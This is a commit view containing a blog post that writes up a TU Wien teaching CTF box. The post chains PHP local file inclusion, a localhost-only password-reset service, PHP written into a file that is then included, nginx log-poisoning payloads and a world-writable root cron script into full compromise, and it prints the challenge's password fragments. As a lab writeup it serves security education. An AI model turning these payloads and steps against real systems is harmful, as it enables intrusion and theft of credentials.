Initial import of Hugo site to Forgejo

This commit is contained in:
Iman Alipour 2026-07-28 12:47:20 +00:00
commit cb1ba0317f
1259 changed files with 236349 additions and 0 deletions

View file

@ -0,0 +1,455 @@
---
title: "A TU Wien CTF where Sysops Klaus left the keys in the cron job"
date: 2026-06-05T12:00:00Z
draft: false
tags: ["ctf", "tuwien", "lfi", "web", "linux", "nginx", "php", "privesc"]
categories: ["CTF", "Security"]
toc: true
summary: "LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of."
---
> **Spoiler alert:** this is a full writeup. If you still want to solve `g#.tuw.measurement.network` yourself, stop here and go poke the box. I'll wait. …No? Ok. Hello friends.
This post documents how I solved a CTF box that came out of [Tobias Fiebig](https://www.inet.tuwien.ac.at/)'s *Real World Security* presentation at TU Wien — the one with **Sysops Fahrer Klaus**, the guy who "just quickly fixes prod" and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.
Each student group gets their own host (`g00`, `g01`, …). The goal is simple on paper:
1. Collect every `passwd_part` file sitting in user home directories.
2. Stitch them together into the **root password** (the full answer lives in `/root/passwd`).
Simple. Boring. Except Klaus was clearly in charge of this VM.
---
## 0) The lay of the land
**Target:** `g00.tuw.measurement.network`
From the outside you mostly see three faces of the same machine:
| Host | What it is |
|------|------------|
| `g00.tuw.measurement.network` | Main vhost — `documentation.md`, directory listing, a teasing `passwd_part` that returns **403** |
| `web.g00.tuw.measurement.network` | PHP "meme gallery" with a very trusting `?page=` parameter |
| `pwreset.g00.tuw.measurement.network` | Internal password-reset app — **not reachable directly** from the internet |
Users on the box (from `/etc/passwd` via LFI): `user1``user4`, `monitoring`, `www-data`, `root`.
SSH from outside? Public key only. Password auth is a lie (for us, anyway).
---
## 1) Recon — documentation.md saves the day
First stop: the main site.
```bash
curl -s https://g00.tuw.measurement.network/documentation.md
```
That file is basically a treasure map. It mentions two services:
- **web**`web.g00.tuw.measurement.network`
- **pwreset**`pwreset.g00.tuw.measurement.network`
I also poked the obvious paths (`.git`, `phpinfo`, swap files, `robots.txt`, …). Nothing juicy on the main vhost except the directory index and the forbidden `passwd_part`.
Subdomains resolve. Good. Let's go web.
---
## 2) LFI — `include($_GET['page'])` classic
The web vhost is a frameset. Content loads in a frame via `?page=`:
```bash
curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
```
And there it is — root, users, the whole `/etc/passwd` parade inside the frame.
Source via PHP filter works too:
```bash
curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
| sed -n 's/.*frame name="in">//p' | base64 -d
```
`index.php` is roughly:
```php
<?php
$page = $_GET['page'] ?? 'home.php';
include($page);
?>
```
Klaus, my man. We love you.
**First instinct:** read all the `passwd_part` files immediately.
```bash
# spoiler: doesn't work
curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
# → permission denied
```
Same for `user2``user4`, `monitoring`, `root/passwd`. The LFI runs as `www-data`. Those files are not world-readable. Fair.
---
## 3) pwreset — localhost-only, but LFI doesn't care about nginx
Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:
```nginx
allow 127.0.0.1;
deny all;
```
So you can't hit `https://pwreset.g00...` from your laptop. But PHP on the **web** vhost can still **include** the pwreset `index.php` file — that's a local file include, not an HTTP request.
pwreset source (paraphrased):
```php
$user = $_GET['user'] ?? '';
$pass = $_GET['pass'] ?? '';
file_put_contents('/var/www/userchange', "$user:$pass\n");
echo "Password reset queued.";
```
It writes `user:pass` lines to `/var/www/userchange`. Something on the system processes that file later (spoiler: `chpasswd`, not shell).
**Trigger it through LFI:**
```text
https://web.g00.tuw.measurement.network/
?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
&user=user1
&pass=MyTestPass1!
```
I confirmed writes by reading `/var/www/userchange` back through the LFI. The file updates. Something also **clears** it on a schedule — so a cron job is definitely eating it.
---
## 4) RCE — PHP in `userchange`, included like a boss
At some point I wondered: what if the thing that processes `userchange` doesn't only run `chpasswd`? What if it **includes** the file as PHP?
So I wrote a tiny shell into the `user` field via pwreset:
```php
<?=`id`?>
```
Then included `/var/www/userchange` through the LFI:
```text
?page=/var/www/userchange
```
**Output:** `uid=33(www-data) gid=33(www-data) ...`
Short tags (`<?= ... ?>`) for the win. A longer `<?php system(...); ?>` payload also works, but the backtick version is minimal and cute.
From here on, my mental model was:
1. **pwreset** → write arbitrary-ish content to `/var/www/userchange`
2. **LFI include `userchange`** → execute PHP as `www-data`
That's RCE. Not root yet, but we'll get there. Klaus always leaves one more door open.
---
## 5) Rabbit holes (aka "everything I tried before it worked")
This box is a *presentation* CTF. It wants you to wander. I wandered. Hard.
### nginx log poisoning
The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. **Plot twist:** Tobias later confirmed it *is* the intended RCE path. I just griefed myself out of it. See [§11 Bonus](#11-bonus-the-intended-log-poisoning-path) for the real technique and what I screwed up.
Short version of my failure: I poisoned via **HTTPS** (wrong log), sprayed **broken PHP** into the HTTP log, and never read the hint in `index.php` source until it was too late.
### `data://`, `php://input`, `expect://`
```bash
?page=data://text/plain,<?php system($_GET[cmd]); ?>
?page=php://input # with POST body
?page=expect://id
```
Nope. `allow_url_include = Off`. Klaus isn't *that* careless.
### vim `.swp` files
`.memes.php.swp` is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried `img_src` shell escapes on `memes.php` / `convert_img.php`.
Empty memes page. No execution. Nice red herring — very on-theme for the talk.
### Munin / `apt_all` plugin
The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:
- `/etc/munin/plugins/apt_all` — referenced in cron, but the plugin file **doesn't exist**
- Brute-forced tons of plugin names and backup suffixes (`.bak`, `.swp`, `~`, …)
- Waited for cron cycles hoping a custom plugin would curl localhost pwreset
**Verdict:** the `apt_all` munin path is a distraction (or a removed artifact). The real privesc was elsewhere.
### pwreset log archaeology
Reading `/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log` via LFI is gold for lore:
- Saw historical resets like `user3``foobar23`
- Tried `foobar23` over SSH for every user
**From outside:** still `Permission denied (publickey)`. Password auth isn't offered externally. TU Wien network / internal access might differ — I didn't have that.
### Shell script injection into `userchange`
I tried newline injection to turn `userchange` into a bash script:
```text
user=
#!/bin/sh
cp /home/user1/passwd_part /var/www/.../p1
...
```
Cron cleared the file. No copies appeared. The processor uses **`chpasswd`**, not `/bin/sh`. Good lesson. Wrong path.
### Brute-forcing the `userchange` consumer
I spawned searches across `/etc/cron.d`, puppet manifests, `/usr/local/sbin`, systemd units, … — looking for whatever reads `userchange`.
Eventually **didn't need it**. Once RCE landed, grepping and `find` from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren't on the winning path.)
### Direct SSH password guessing
Tried setting root's password via pwreset (`root:RootPass123!`), waited for cron, attempted SSH.
From the internet: **publickey only**. The reset machinery may still work internally, but I couldn't log in with passwords from outside.
---
## 6) Privesc — world-writable cron script (peak Klaus)
With RCE as `www-data`, I looked for writable files:
```bash
find / -writable -type f 2>/dev/null | head
```
Jackpot:
```text
-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
```
Original script (innocent):
```bash
#!/bin/bash
grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
```
It's run by **cron as root** (Puppet-managed). `www-data` can edit it because `user1` owns it and the group is `www-data` with world-writable perms. Chef's kiss.
I appended:
```bash
cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
```
Then either waited for cron or executed the script manually via RCE:
```php
<?=`/usr/local/bin/cron_update_hostname_file.sh`?>
```
**Files appeared in the webroot.** Root-readable secrets exfiltrated by root itself. Klaus would be proud.
---
## 7) SSH as `www-data` — because keys in the webroot are a mood
The main vhost webroot also had `.ssh/id_rsa` for `www-data`. Of course it did.
```bash
# via RCE: cat the key, save locally, chmod 600
ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
www-data@g00.tuw.measurement.network
```
Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.
---
## 8) The password parts
| Source | File | Part |
|--------|------|------|
| user1 | `p1` | `DcC6Da0A27384fA` |
| user2 | `p2` | `9Ce05B3cAd57824` |
| user3 | `p3` | `3aD80fa1b7AE986` |
| user4 | `p4` | `CDefabffab1FCCf` |
| www-data | `passwd_part` | `44D885d6DAb8Bb9` |
| root | `rootpass` | `ghadnuthduxeec7` |
**Missing:** `monitoring/passwd_part` — copying to `pm` failed (no file / permission denied even as root's cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.
**Combined root password (95 characters):**
```text
DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
```
Order: `user1 + user2 + user3 + user4 + www-data + root_suffix`.
I double-checked byte lengths with `wc -c` and `od` over SSH. No sneaky newlines.
Root SSH with that password from **outside** still didn't bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.
---
## 9) Attack chain (one screen)
```text
documentation.md
→ web vhost LFI (include $_GET['page'])
→ include pwreset index.php (localhost bypass)
→ write PHP to /var/www/userchange
→ LFI include userchange
→ RCE as www-data
→ append to world-writable cron_update_hostname_file.sh
→ cron runs as root → copies passwd parts to webroot
→ read parts / SSH as www-data
→ profit
```
Very "real world" in the worst way. Multiple small mistakes compounding into a full chain.
---
## 10) Replay script
I left a minimal Python replay in the challenge repo:
```bash
python3 solve.py
```
Core logic:
```python
def pwreset(user, passwd=""):
# LFI-include pwreset index.php with user/pass params
def rce(cmd):
pwreset(f"<?=`{cmd}`?>", "")
return lfi_include("/var/www/userchange")
```
It prints `id`, the modified cron script, each part file, and the combined password.
---
## 11) Bonus: the intended log poisoning path
After I solved the box the scenic route (pwreset → `userchange`), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: **griefing the logs is part of the game** — and students mostly grief *themselves*. Fair. 😂
So here's the path you're *supposed* to take for RCE, and how I accidentally took the scenic bypass.
### The hint is in `index.php`, not `documentation.md`
`documentation.md` only lists the services (`web`, `pwreset`). It says nothing about logs. The actual breadcrumb is an HTML comment in `index.php` (readable via PHP filter LFI):
```html
<!-- remember for debugging:
/var/log/nginx/$vhost.access.log
/var/log/nginx/$vhost.error.log
/var/log/nginx/ssl-$vhost.access.log
/var/log/nginx/ssl-$vhost.error.log
-->
```
Four logs. Two pairs: **HTTP** and **HTTPS (ssl-)**. The comment doesn't say "don't use SSL" — but the intended trick is to use the **non-ssl** access log.
### Intended technique
1. **Poison over HTTP** (port 80), not HTTPS — so nginx writes to the smaller vhost log:
```text
/var/log/nginx/web.g00.tuw.measurement.network.access.log
```
2. Put PHP in the `User-Agent` (or another logged field):
```text
<?php passthru($_GET['cmd']); ?>
```
Short tags like `` <?=`id`?> `` work too. Use **quoted** `'cmd'` — bare `$_GET[cmd]` is a PHP 8 footgun.
3. **Include that log** through the same LFI bug:
```text
https://web.g00.tuw.measurement.network/
?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
&cmd=id
```
On a **fresh** box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get `www-data`. That's RCE. No pwreset required.
### How I griefed myself
| What I did | Why it hurt |
|------------|-------------|
| Defaulted to `https://` everywhere | Poison landed in `ssl-web...access.log`**670 KB+** and growing |
| Included the ssl log via LFI | Output truncates around ~2 KB; poison sits at the tail |
| Fired dozens of test payloads | Left broken `<?php` in the HTTP log (`$_GET[cmd]` without quotes, `\x22`, etc.) — PHP dies on the **first** bad tag before reaching a clean line |
| Didn't read `index.php` source early | Missed the debug comment until I'd already polluted both logs |
Tobias's take: that's a feature. The box teaches you that **ops mistakes compound** — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.
### If you're solving it now
- Read `index.php` source first.
- Poison on **HTTP**: `http://web.g00.tuw.measurement.network/` with a clean User-Agent payload.
- Include the **non-ssl** access log path from the comment.
- Don't spray malformed PHP into the log unless you enjoy debugging your own garbage.
I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.
---
## 12) TL;DR
- **Read** `documentation.md` — it tells you where the services live.
- **Read** `index.php` source — the debug comment gives you the log paths.
- **Intended RCE** = HTTP log poisoning → LFI include the non-ssl access log.
- **What I did** = pwreset → `userchange` → cron (also works, not the intended first step).
- **Privesc** = `/usr/local/bin/cron_update_hostname_file.sh` is world-writable and runs as root.
- **Griefing** = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
- **Flag** = concatenate all `passwd_part` slices + `/root/passwd` suffix.
If you're doing this as part of the TU Wien lab: don't touch other groups' hosts, don't break the infra, and maybe send Klaus a thank-you note for the cron job.
Happy hacking. 🔓
---
*Thanks to Tobias Fiebig for the delightfully cursed "real world" box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.*
---
{{< sigdl >}}